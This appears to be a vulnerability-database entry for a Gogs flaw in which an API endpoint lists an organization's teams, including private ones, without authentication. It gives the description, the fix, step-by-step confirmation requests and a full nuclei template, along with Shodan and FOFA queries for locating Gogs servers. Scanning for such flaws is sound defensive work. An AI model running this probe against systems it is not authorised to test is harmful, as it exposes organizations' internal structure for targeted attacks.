Browse / CVEs / CVE-2026-52815
CVE-2026-52815· gogs / gogs· CWE-200
Gogs < 0.14.3 - Unauthenticated Organization Teams Disclosure
Gogs before version 0.14.3 contains an unauthenticated information disclosure vulnerability. The GET /api/v1/orgs/:orgname/teams endpoint returns all teams for any organization without requiring authentication. The route group lacks the reqToken() middleware, exposing team IDs, names, descriptions, and permission levels to any unauthenticated caller.
Impact
An unauthenticated attacker can enumerate all teams within any organization including private teams, discover permission levels, map organizational structure, and identify high-value admin and owner teams for targeted attacks.
Fix
Update Gogs to version 0.14.3 or later.
How to confirm it
Send: GET {{BaseURL}}/api/v1/repos/search?limit=1
Positive when: status_code == 200 and contains(content_type, "application/json")
Send: GET {{BaseURL}}/api/v1/orgs/{{orgname}}
Positive when: status_code == 200 and contains_all(body, "\"username\"", "\"full_name\"")
Send: GET /api/v1/orgs/{{orgname}}/teams
Positive when: status_code == 200 and contains_all(body, "\"id\"", "\"name\"", "\"permission\"") and contains(content_type, "application/json")Run it with nuclei: nuclei -id CVE-2026-52815 -u <target>
The full check
id: CVE-2026-52815
info:
name: Gogs < 0.14.3 - Unauthenticated Organization Teams Disclosure
author: 0x_Akoko
severity: low
description: |
Gogs before version 0.14.3 contains an unauthenticated information disclosure vulnerability. The GET /api/v1/orgs/:orgname/teams endpoint returns all teams for any organization without requiring authentication. The route group lacks the reqToken() middleware, exposing team IDs, names, descriptions, and permission levels to any unauthenticated caller.
impact: |
An unauthenticated attacker can enumerate all teams within any organization including private teams, discover permission levels, map organizational structure, and identify high-value admin and owner teams for targeted attacks.
remediation: |
Update Gogs to version 0.14.3 or later.
reference:
- https://github.com/gogs/gogs/security/advisories/GHSA-744x-3838-5r56
- https://nvd.nist.gov/vuln/detail/CVE-2026-52815
classification:
cvss-metrics: "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"
cvss-score: 4.3
cve-id: CVE-2026-52815
epss-score: 0.01488
epss-percentile: 0.74283
cwe-id: CWE-200
metadata:
verified: true
max-request: 3
vendor: gogs
product: gogs
shodan-query: 'http.title:"Gogs"'
fofa-query: title="Gogs"
tags: cve,cve2026,gogs,exposure,unauth
flow: http(1) && http(2) && http(3)
http:
- method: GET
path:
- "{{BaseURL}}/api/v1/repos/search?limit=1"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "application/json")'
internal: true
condition: and
extractors:
- type: regex
name: orgname
part: body
group: 1
regex:
- '"username"\s*:\s*"([^"]+)"'
internal: true
- method: GET
path:
- "{{BaseURL}}/api/v1/orgs/{{orgname}}"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "\"username\"", "\"full_name\"")'
internal: true
condition: and
- raw:
- |
GET /api/v1/orgs/{{orgname}}/teams HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "\"id\"", "\"name\"", "\"permission\"")'
- 'contains(content_type, "application/json")'
condition: andReferences
- https://github.com/gogs/gogs/security/advisories/GHSA-744x-3838-5r56
- https://nvd.nist.gov/vuln/detail/CVE-2026-52815
Use this check only on systems you are authorised to test. Where the data comes from